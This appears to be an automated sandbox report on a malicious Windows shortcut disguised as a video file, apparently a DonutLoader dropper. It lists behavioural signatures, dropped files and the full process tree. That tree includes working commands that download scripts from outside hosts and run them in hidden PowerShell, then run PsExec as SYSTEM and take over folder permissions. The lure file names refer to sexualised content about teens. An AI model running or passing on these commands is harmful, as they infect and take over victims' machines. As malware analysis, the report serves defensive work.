Overview

overview

10

Static

static

1

​PACK8/t...p4.lnk

windows10-2004-x64

8

​PACK8/t...p4.lnk

windows11-ltsc_2024-x64

8

​PACK8/t...p4.lnk

windows10-2004-x64

7

​PACK8/t...p4.lnk

windows11-ltsc_2024-x64

10

​PACK8/t...p4.lnk

windows10-2004-x64

8

​PACK8/t...p4.lnk

windows11-ltsc_2024-x64

10

​PACK8/t...p4.lnk

windows10-2004-x64

7

​PACK8/t...p4.lnk

windows11-ltsc_2024-x64

6

​PACK8/t...p4.lnk

windows10-2004-x64

8

​PACK8/t...p4.lnk

windows11-ltsc_2024-x64

8

Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

  • max time kernel
    59s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/06/2026, 04:21

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ​PACK8/teenpussyfeetandass.mp4.lnk
  • Size 699B
  • Sample260626-eytfaagy4y
  • SHA256 e06cbda80536d564ed5ce571010f9130a20ab1155e788e0066c33d884a9927fe
  • MD5 SHA1 SHA512 TLSH
Score
10/10
adwaredefense_evasiondiscoveryexecutionexploitdonutloaderloaderpersistencespyware

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://racist.pics/license/authcheck

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://racist.pics/license/authcheck

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

    loaderdonutloader
  • Detects DonutLoader 1 IoCs
    loader
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

    execution
  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 6 IoCs
    exploit
  • Deletes itself 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 6 IoCs
    discovery
  • Drops desktop.ini file(s) 9 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Power Settings 1 TTPs 2 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in Windows directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 47 IoCs
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 55 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 7 IoCs
    defense_evasion

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\​PACK8\teenpussyfeetandass.mp4.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5612
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenpussyfeetandass.mp4)&(curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://3gunit.com 106)
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2376
      • C:\Windows\system32\curl.exe
        curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
        3⤵
          PID:5524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://3gunit.com" "106"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Deletes itself
          • Drops desktop.ini file(s)
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4920
          • C:\Windows\system32\curl.exe
            "C:\Windows\system32\curl.exe" https://3gunit.com/rAU.ps1
            4⤵
              PID:560
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3ztoo1zh\3ztoo1zh.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5100
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES119A.tmp" "c:\Users\Admin\AppData\Local\Temp\3ztoo1zh\CSC3911AF110964F40BED222C7757A9C92.TMP"
                5⤵
                  PID:1180
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jmeweqc3\jmeweqc3.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:856
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES12E2.tmp" "c:\Users\Admin\AppData\Local\Temp\jmeweqc3\CSCF47BFD2B7C9041119C4CA257AF1E153.TMP"
                  5⤵
                    PID:4228
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jm024thu\jm024thu.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2384
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES136F.tmp" "c:\Users\Admin\AppData\Local\Temp\jm024thu\CSC9D14961FAA042C7A1D0878A441756A6.TMP"
                    5⤵
                      PID:4504
                  • C:\Windows\system32\curl.exe
                    "C:\Windows\system32\curl.exe" https://3gunit.com/rIF.ps1 -o C:\ProgramData\rIF.ps1
                    4⤵
                      PID:4052
                    • C:\Windows\system32\curl.exe
                      "C:\Windows\system32\curl.exe" https://3gunit.com/invoke.vbs -o C:\ProgramData\invoke.vbs
                      4⤵
                        PID:4836
                      • C:\Windows\system32\curl.exe
                        "C:\Windows\system32\curl.exe" https://3gunit.com/7z.exe -o C:\Users\Admin\AppData\Local\Temp/build\7z.exe
                        4⤵
                          PID:5696
                        • C:\Windows\system32\curl.exe
                          "C:\Windows\system32\curl.exe" https://3gunit.com/1.7z -o C:\Users\Admin\AppData\Local\Temp/build\1.7z
                          4⤵
                            PID:2908
                          • C:\Users\Admin\AppData\Local\Temp\build\7z.exe
                            "C:\Users\Admin\AppData\Local\Temp\build\7z.exe" x C:\Users\Admin\AppData\Local\Temp/build\1.7z -phttps://racist.pics/license/authcheck -oC:\Users\Admin\AppData\Local\Temp/build -y
                            4⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:472
                          • C:\Windows\system32\curl.exe
                            "C:\Windows\system32\curl.exe" https://3gunit.com/rAA.ps1 -o C:\Users\Admin\AppData\Local\Temp/build\helloworld.ps1
                            4⤵
                              PID:3036
                            • C:\Windows\system32\takeown.exe
                              "C:\Windows\system32\takeown.exe" /F C:\Users\Admin\AppData\Local\Temp\ㅤㅤ /r /d y
                              4⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              PID:4624
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" -r -s -h ..\ㅤㅤ
                              4⤵
                              • Views/modifies file attributes
                              PID:2176
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini
                              4⤵
                              • Drops desktop.ini file(s)
                              • Views/modifies file attributes
                              PID:5972
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4
                              4⤵
                              • Views/modifies file attributes
                              PID:1220
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4
                              4⤵
                              • Views/modifies file attributes
                              PID:5948
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4
                              4⤵
                              • Views/modifies file attributes
                              PID:2952
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4
                              4⤵
                              • Views/modifies file attributes
                              PID:4812
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4
                              4⤵
                              • Views/modifies file attributes
                              PID:4380
                            • C:\Users\Admin\AppData\Local\Temp\build\node.exe
                              "C:\Users\Admin\AppData\Local\Temp\build\node.exe" index.js
                              4⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:3000
                      • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                        "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
                        1⤵
                        • Drops desktop.ini file(s)
                        • Enumerates connected drives
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:5932
                        • C:\Windows\SysWOW64\unregmp2.exe
                          "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
                          2⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:5296
                          • C:\Windows\system32\unregmp2.exe
                            "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
                            3⤵
                            • Enumerates connected drives
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5848
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                        1⤵
                        • Drops file in Windows directory
                        PID:5372
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -File "%TMP%\build\helloworld.ps1"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:484
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1"
                          2⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:4888
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g12wxcrb\g12wxcrb.cmdline"
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5900
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D8E.tmp" "c:\Users\Admin\AppData\Local\Temp\g12wxcrb\CSC6305882536464CAE85A672C78867E96.TMP"
                              4⤵
                                PID:4948
                            • C:\Windows\system32\curl.exe
                              "C:\Windows\system32\curl.exe" https://3gunit.com/rANT.ps1 -o C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
                              3⤵
                                PID:1276
                              • C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
                                "C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe" -accepteula -s powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
                                3⤵
                                • Executes dropped EXE
                                • Hide Artifacts: Hidden Window
                                • Drops file in Windows directory
                                • System Location Discovery: System Language Discovery
                                PID:784
                          • C:\Windows\PSEXESVC.exe
                            C:\Windows\PSEXESVC.exe
                            1⤵
                            • Executes dropped EXE
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3824
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
                              2⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in Drivers directory
                              • Drops file in Windows directory
                              • Modifies data under HKEY_USERS
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of WriteProcessMemory
                              PID:4864
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\cwthwrvv\cwthwrvv.cmdline"
                                3⤵
                                • Drops file in Windows directory
                                • Suspicious use of WriteProcessMemory
                                PID:6080
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RESB31A.tmp" "c:\Windows\SystemTemp\cwthwrvv\CSCD93E655A431D4BB496D377965918B9C9.TMP"
                                  4⤵
                                  • Drops file in Windows directory
                                  PID:5896
                              • C:\Windows\system32\powercfg.exe
                                "C:\Windows\system32\powercfg.exe" -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
                                3⤵
                                • Power Settings
                                • Modifies data under HKEY_USERS
                                PID:1896
                              • C:\Windows\system32\powercfg.exe
                                "C:\Windows\system32\powercfg.exe" -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
                                3⤵
                                • Power Settings
                                PID:3608
                              • C:\Windows\system32\icacls.exe
                                "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /setowner *S-1-5-18 /t
                                3⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                PID:1176
                              • C:\Windows\system32\icacls.exe
                                "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-18:(OI)(CI)(F) /t
                                3⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                PID:4660
                              • C:\Windows\system32\icacls.exe
                                "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-32-544:(OI)(CI)(RX,W) /t
                                3⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                PID:2656
                              • C:\Windows\system32\icacls.exe
                                "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /inheritance:r
                                3⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                PID:4708
                              • C:\Windows\system32\icacls.exe
                                "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /remove *S-1-1-0 /t
                                3⤵
                                • Possible privilege escalation attempt
                                • Modifies file permissions
                                PID:4648
                              • C:\Windows\system32\curl.exe
                                "C:\Windows\system32\curl.exe" /invokeAdmin.vbs -o "C:\Program Files (x86)\Microsoft Edge\lol\invoke.vbs"
                                3⤵
                                  PID:4260
                                • C:\Windows\system32\curl.exe
                                  "C:\Windows\system32\curl.exe" /ss.ps1 -o "C:\Program Files (x86)\Microsoft Edge\lol\ss.ps1"
                                  3⤵
                                    PID:5136
                                  • C:\Windows\system32\curl.exe
                                    "C:\Windows\system32\curl.exe" /2.7z -o "C:\Program Files (x86)\Microsoft Edge\2.7z"
                                    3⤵
                                      PID:2748
                                    • C:\Windows\system32\curl.exe
                                      "C:\Windows\system32\curl.exe" /cert.pem -o "C:\Program Files (x86)\Microsoft Edge\env\cert.pem" -k
                                      3⤵
                                        PID:4408
                                      • C:\Windows\system32\curl.exe
                                        "C:\Windows\system32\curl.exe" /3.7z -o "C:\Program Files (x86)\Microsoft Edge\3.7z"
                                        3⤵
                                          PID:1168
                                        • C:\Windows\system32\curl.exe
                                          "C:\Windows\system32\curl.exe" /5.7z -o "C:\Program Files (x86)\Microsoft Edge\5.7z"
                                          3⤵
                                            PID:1120
                                          • C:\Windows\system32\curl.exe
                                            "C:\Windows\system32\curl.exe" /6.7z -o "C:\Program Files (x86)\Microsoft Edge\6.7z"
                                            3⤵
                                              PID:5816
                                            • C:\Windows\system32\curl.exe
                                              "C:\Windows\system32\curl.exe" /7.7z -o "C:\Program Files (x86)\Microsoft Edge\7.7z"
                                              3⤵
                                                PID:2968
                                              • C:\Windows\system32\schtasks.exe
                                                "C:\Windows\system32\schtasks.exe" /delete /F /TN \MicrosoftEdgeUpdateFail
                                                3⤵
                                                  PID:1552
                                                • C:\Windows\system32\schtasks.exe
                                                  "C:\Windows\system32\schtasks.exe" /delete /F /TN \X
                                                  3⤵
                                                    PID:4236
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command sleep -Seconds 2; rm 'C:\Users\WellSmith\AppData\Local\Temp\build' -Force -Recurse
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    PID:2332
                                              • C:\Windows\PSEXESVC.exe
                                                C:\Windows\PSEXESVC.exe
                                                1⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                PID:4524
                                              • C:\Windows\system32\sihost.exe
                                                sihost.exe
                                                1⤵
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of WriteProcessMemory
                                                PID:936
                                                • C:\Windows\explorer.exe
                                                  explorer.exe /LOADSAVEDWINDOWS
                                                  2⤵
                                                  • Boot or Logon Autostart Execution: Active Setup
                                                  • Enumerates connected drives
                                                  • Checks SCSI registry key(s)
                                                  • Modifies Internet Explorer settings
                                                  • Modifies registry class
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of FindShellTrayWindow
                                                  • Suspicious use of SendNotifyMessage
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:2392
                                              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                1⤵
                                                • Modifies registry class
                                                • Suspicious use of SetWindowsHookEx
                                                PID:3144
                                              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                1⤵
                                                • Modifies registry class
                                                • Suspicious use of SetWindowsHookEx
                                                PID:5156
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                1⤵
                                                  PID:2716
                                                • C:\Windows\system32\wscript.exe
                                                  "wscript.exe" "C:\Program Files (x86)\Microsoft Edge\LoL\invoke.vbs" "C:\Program Files (x86)\Microsoft Edge\LoL\ss.ps1"
                                                  1⤵
                                                    PID:1316

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        invoke.vbs
                                                        • Path C:\ProgramData\invoke.vbs
                                                        • Size 153B
                                                        • SHA256 e12aae679a43c26bb331c97d8ac451e5022e297a519c6fac65b727e4049023f9
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        CurrentDatabase_400.wmdb
                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                                        • Size 384KB
                                                        • SHA256 e36318427fa8d93ebf82ac87690d5f827c6e8a88dd714e39ea36457d90d6a1f5
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        CurrentDatabase_400.wmdb
                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                                        • Size 1024KB
                                                        • SHA256 35d218299c1b3d0daac033e60b12c54fbae05c3fc366f66c5eaabaecef973199
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        LocalMLS_3.wmdb
                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
                                                        • Size 68KB
                                                        • SHA256 f8c8c2ddf681e5bd8c41170a6ea801aa8e73fad065e5650f65746a37c07a9be2
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        WMSDKNS.XML.bak
                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
                                                        • Size 9KB
                                                        • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        ModuleAnalysisCache
                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                        • Size 67KB
                                                        • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        ModuleAnalysisCache
                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                        • Size 67KB
                                                        • SHA256 2ba5f0f2f2e63350cb107e21c837154c4f73aa9a6fddd9dcaae7a7083c092d7e
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        prep_Activatable Class_Hermes_perf.cache
                                                        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                                        • Size 595B
                                                        • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        3ztoo1zh.dll
                                                        • Path C:\Users\Admin\AppData\Local\Temp\3ztoo1zh\3ztoo1zh.dll
                                                        • Size 3KB
                                                        • SHA256 42159aef0f815f6651f13212687c44dd425fc0783d066587f85ec5c28e852e7c
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        RES119A.tmp
                                                        • Path C:\Users\Admin\AppData\Local\Temp\RES119A.tmp
                                                        • Size 1KB
                                                        • SHA256 797bf14089a2401a9d3cd206bbd33b9c86bd5384ceaea8ccfe460bff5c72ed51
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        RES12E2.tmp
                                                        • Path C:\Users\Admin\AppData\Local\Temp\RES12E2.tmp
                                                        • Size 1KB
                                                        • SHA256 f9b142874fece4fef2a7a1e7241e861b68b41a5e9796e427c59090dde4c16e60
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        RES136F.tmp
                                                        • Path C:\Users\Admin\AppData\Local\Temp\RES136F.tmp
                                                        • Size 1KB
                                                        • SHA256 61b78b98cc841d543e4359ac66656c5e060934afe53a428528c01c50206b9982
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        RES9D8E.tmp
                                                        • Path C:\Users\Admin\AppData\Local\Temp\RES9D8E.tmp
                                                        • Size 1KB
                                                        • SHA256 998f68b57f990e7be9ec97e0c74d83d72d5d5fab9c4d811fbd9e758ea2b6c306
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        __PSScriptPolicyTest_syuchhbw.kww.ps1
                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_syuchhbw.kww.ps1
                                                        • Size 60B
                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        a.cmd
                                                        • Path C:\Users\Admin\AppData\Local\Temp\a.cmd
                                                        • Size 309B
                                                        • SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        1.7z
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\1.7z
                                                        • Size 7.2MB
                                                        • SHA256 ebf52d694af6fb9ffe7cf01bfc5c1cf2f5c2089c4d88c1c2edd4016a8d041f0e
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        7z.exe
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\7z.exe
                                                        • Size 587KB
                                                        • SHA256 27cbe3d5804ad09e90bbcaa916da0d5c3b0be9462d0e0fb6cb54be5ed9030875
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        PsExec.exe
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
                                                        • Size 699KB
                                                        • SHA256 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        URL
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\URL
                                                        • Size 21B
                                                        • SHA256 5ba77174f5752b53fbea78c1699c7cb4cf96e28f49208beb2f1f7e1c4c84b83a
                                                        • MD5 SHA1 SHA512
                                                        Submit Download

                                                        cID
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\cID
                                                        • Size 6B
                                                        • SHA256 405d221afe891372c2ab37d4c80fc177544eae90a182f0669ef40dba6ce5d1fd
                                                        • MD5 SHA1 SHA512
                                                        Submit Download

                                                        helloworld.ps1
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1
                                                        • Size 20KB
                                                        • SHA256 0d1b024172ea86df2792c31eb8520a4e219f5f7445a16adbdc0c7e6e127d2303
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        index.js
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\index.js
                                                        • Size 94B
                                                        • SHA256 a18359890214e4f5bef4d027a2de66abdc0a300c0f46d27327550c8d5dcb176f
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        inject.node
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\inject.node
                                                        • Size 927KB
                                                        • SHA256 a3fd9123361e8f1c00f30786aadb7d6985ac8c8c6eda70dbce3828b94a54f5e0
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        node.exe
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\node.exe
                                                        • Size 24.9MB
                                                        • SHA256 6664cc00232d95f73e050f25b1dd1000b44f63e35f051734c9bee478cd3574c7
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        rANT.ps1
                                                        • Path C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
                                                        • Size 19KB
                                                        • SHA256 474050d4fe8acd2098ad8549df1c17f46fe4f1af35cfee7394c636fc5ad45912
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        g12wxcrb.dll
                                                        • Path C:\Users\Admin\AppData\Local\Temp\g12wxcrb\g12wxcrb.dll
                                                        • Size 3KB
                                                        • SHA256 28338b84851c73b8ede1f8f213e9d31d91fa8569401a60c18818d38c47ea10d1
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

